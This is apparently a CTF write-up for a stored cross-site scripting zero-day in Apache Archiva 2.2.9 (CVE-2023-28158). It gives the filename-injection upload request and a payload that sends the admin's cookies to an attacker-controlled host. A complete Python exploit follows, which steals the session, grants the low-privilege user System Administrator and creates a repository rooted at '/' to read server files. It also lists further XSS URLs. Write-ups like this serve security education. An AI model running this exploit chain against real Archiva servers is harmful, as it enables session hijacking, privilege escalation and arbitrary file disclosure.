Writeup to the zero-day challenge archived of our recent CTF targeting Apache Archiva, version 2.2.9. The vulnerability of this challenge got CVE-2023-28158.
To explain, I’ll use the local setup at http://localhost:8055
The setup has two users pre-set: ctf
with password H4v3Fun
, having artifact upload rights and admin
with an unknown password, having full admin rights. The goal is to elevate the ctf
users privileges and gain arbitrary read access to the server.
For this, we need to somehow leak the admin’s credentials using XSS.
The admin (see admin.py supplied with the challenge) only accesses http://localhost:8055/repository/internal
. The goal is also to somehow store an XSS payload in the internal repository root.
The given user only has permission to upload a file into the internal repository.
# Upload random data: this data does not matter at all, it's just so we can call the upload-get
POST http://localhost:8055/restServices/archivaUiServices/fileUploadService
files={
"files[]": ("lol", "data") #
}
# Upload actual payload
GET http://localhost:8055/restServices/archivaUiServices/fileUploadService/save/internal/%20/%20/%20/<img src=a onerror=alert(1)>
Payload explained:
Calling the save
endpoint triggers DefaultFileUploadService.java#save
(code) which later triggers DefaultFileUploadService.java#saveFile
gets called with the arguments:
internal
%20
%20
%20
<img src=a onerror=alert(1)>
The upload form does not spaces since the input
of these arguments, but they can be sent directly bypassing the frontend. At the server, the input is trimmed, leading to empty variables, and the uploaded file to be stored in /archiva-data/repositories/internal/
directly.
Filename: /archiva-data/repositories/internal/-.<img src=a onerror=alert(1)>
When accessing http://localhost:8055/repository/internal/
, the direct repository view (WebDAV) will format to the file like following:
"<tr><td><a class=\"file\" href=\"" + resourceName + "\">" + resourceName + "</a></td><td class=\"size\">..."
Thus, the filepath is completely unsanitized and therefore the above example gets rendered like so:
<tr><td><a class="file" href="-.<img src=a onerror=alert(1)>">-.<img src=a onerror=alert(1)></a></td><td class="size">4 </td><td class="date">3/12/23 6:26 AM</td></tr>
which will trigger the alert(1)
.
Starting from this PoC, we write simple cookie extraction code <img src=a onerror="fetch(String.fromCharCode(47)+String.fromCharCode(47)+'{my_host}:{my_port}'+String.fromCharCode(47)+btoa(document.cookie))">
(we need to escape /
since the server checks in DefaultFileUploadService.java#hasValidChars
that /
(FileSystems.getDefault().getSeparator()
) is not in the string).
Using the admin’s cookie, we can now elevate our own permissions or just wreak havoc using the admin account (redacted admin password for convenience reasons: hxp_l0ves_U_FwR1O0ZEL
[the last bytes are just to prevent guessing]), but we still do not yet have access to /flag.txt
on the server.
Conveniently, archiva provides us the option to create new repositories:
If we ignore all warnings and errors, archiva will just create the repository which can be accessed via http://localhost:8055/repository/root/
giving us complete read access to the entire system.
We can not just open flag.txt
to claim our prize.
hxp{xSS_h3re_Xs5_ther3_X5S_ev3rywhere}
In theory it could maybe somehow be possible to elevate the arbitrary read and the nearly arbitrary write access (with the technique explained in Step 1) into remote code execution, but I was not able to do so, therefore the challenge does not go further than Step 2.
What breaks it for me is the mandatory -
and .
in the filename since I couldn’t abuse the naming convention in a way to overwrite a relevant file. Additionally, in the archiva-docker template I used, JSP was disabled by default and I didn’t want to artificially enable it or add a suspiciously named health check.
During the creation and review of this challenge, we found more XSS vulnerabilities. Analysis and further exploitation is left to the reader. Credits and thanks go to hlt.
# this will trigger the exact same bug as in direct repository view
http://localhost:8055/#rest-docs-archiva-rest-api/%2e%2e%2f%2e%2e%2frepository%2finternal%2f
# this was at least vulnerable in a previous version, but I couldn't reproduce it in the current version (but my archiva instance might also be broken by now)
http://localhost:8055/#artifact-dependency-graph~internal/a/b/<script>alert(1);<!--
#!/usr/bin/env python3
import requests
import urllib
import base64
import sys
import argparse
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from threading import Thread
import re
import uuid
import time
import json
import subprocess
import socket
USERNAME = "ctf"
PASSWORD = "H4v3Fun"
FLAG = False
HOST = ""
PORT = 0
ADMIN_PORT = 0
MY_HOST = ""
MY_PORT = 0
xsrf = None
s = requests.Session()
def login_user():
print("[+] Login ctf user", file=sys.stderr)
r = s.post(f"http://{HOST}:{PORT}/restServices/redbackServices/loginService/logIn",
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{HOST}:{PORT}",
"Referer": f"http://{HOST}:{PORT}/",
},
json = {
"username":USERNAME,
"password":PASSWORD,
}
)
assert r.status_code == 200, f"Cannot login to ctf user"
ret = json.loads(r.text)
return ret["validationToken"]
def xss(xsrf):
# upload "file"
r = s.post(f"http://{HOST}:{PORT}/restServices/archivaUiServices/fileUploadService",
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{HOST}:{PORT}",
"Referer": f"http://{HOST}:{PORT}/",
"X-XSRF-TOKEN": xsrf
},
files = {
"files[]": ("lol", "data")
}
)
assert r.status_code == 200
payload = f'''"><img src=a onerror="fetch(String.fromCharCode(47)+String.fromCharCode(47)+'{MY_HOST}:{MY_PORT}'+String.fromCharCode(47)+btoa(document.cookie))">'''
# upload payload
url = f"http://{HOST}:{PORT}/restServices/archivaUiServices/fileUploadService/save/internal/%20/%20/%20/{payload}"
print("[+] Upload", url, file=sys.stderr)
r = s.get(url)
assert r.status_code == 200 and r.text == "true"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
global FLAG
cookie = self.path[1:]
# content_len = int(self.headers.get('Content-Length'))
# flag = self.rfile.read(content_len)
cookie = base64.b64decode(cookie)
print("[+] cookie", cookie, file=sys.stderr)
m = re.search(rb"JSESSIONID=(?P<sess>\w*)", cookie)
assert m
session_id = m.group("sess").decode()
m = re.search(rb"archiva_login=(?P<login>%7B.*%7D)", cookie)
assert m
archiva_login = m.group("login").decode()
validation_token = json.loads(urllib.parse.unquote(archiva_login))["validationToken"]
cookie = {
"JSESSIONID": session_id,
"archiva_login": archiva_login
}
# print(cookie)
# print(token)
# validation_token = urllib.parse.quote(validation_token)
print(f"[+] JSESSIONID {session_id}", file=sys.stderr)
print(f"[+] ValidationToken {validation_token}", file=sys.stderr)
# m = re.search(rb"flag=(?P<flag>hxp\{.*\})", cookie)
s = requests.Session()
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"X-Requested-With": "XMLHttpRequest",
"Origin": f"http://{HOST}:{PORT}",
"Referer": f"http://{HOST}:{PORT}/",
"X-XSRF-TOKEN": validation_token
}
print("[+] Give CTF user the rule of 'System Administrator'", file=sys.stderr)
r = s.post(f"http://{HOST}:{PORT}/restServices/redbackServices/roleManagementService/updateUserRoles",
headers=headers,
cookies=cookie,
json={
"username":USERNAME,
"assignedRoles":[
"Registered User",
"System Administrator"
]
})
print(r.status_code)
print(r.text)
assert r.status_code == 200 and r.text == "true", "Cannot update user role of ctf user"
print("[+] Add root repository", file=sys.stderr)
s.post(f"http://{HOST}:{PORT}/restServices/archivaServices/managedRepositoriesService/addManagedRepository",
headers=headers,
cookies=cookie,
json={
"id":"root",
"name":"root",
"layout":"default",
"location":"/",
"cronExpression":"0 0 * * * ?",
"scanned":False,
"snapshots":False,
"releases":False,
"blockRedeployments":False,
"skipPackedIndexCreation":False,
"modified":True
})
assert r.status_code == 200 and r.text == "true", "Cannot add root repository"
print("[+] Read flag", file=sys.stderr)
r = s.get(f"http://{HOST}:{PORT}/repository/root/flag.txt",
headers=headers,
cookies=cookie)
# Print flag
print(r.text)
instancer_pwn.kill()
class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
pass
def server():
print('[+] http server started', file=sys.stderr)
server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
server.handle_request()
def admin(host, admin_port, port):
"""
Call admin
"""
s = socket.socket()
s.connect((host, admin_port))
print(f"[a] Connected to {host}:{admin_port}", file=sys.stderr)
# we don't care that local setup does not expect input
s.sendall(instancer_pwn.username + b"\n" + instancer_pwn.password + b"\n" + str(port).encode() + b"\n")
print(instancer_pwn.receive_until(s, b"Done visiting\n"), file=sys.stderr)
print('[a] Admin called', file=sys.stderr)
if __name__ == "__main__":
s = requests.Session()
# connect with token to get archiva-cookies
r = s.get(f"http://{HOST}:{PORT}/")
assert r.status_code == 200
xsrf = login_user()
print(f"[+] Using XSRF {xsrf}", file=sys.stderr)
xss(xsrf)
server_thread = Thread(target=server, daemon=True)
server_thread.start()
print(f"[+] call admin", file=sys.stderr)
admin(HOST, ADMIN_PORT, PORT)
server_thread.join()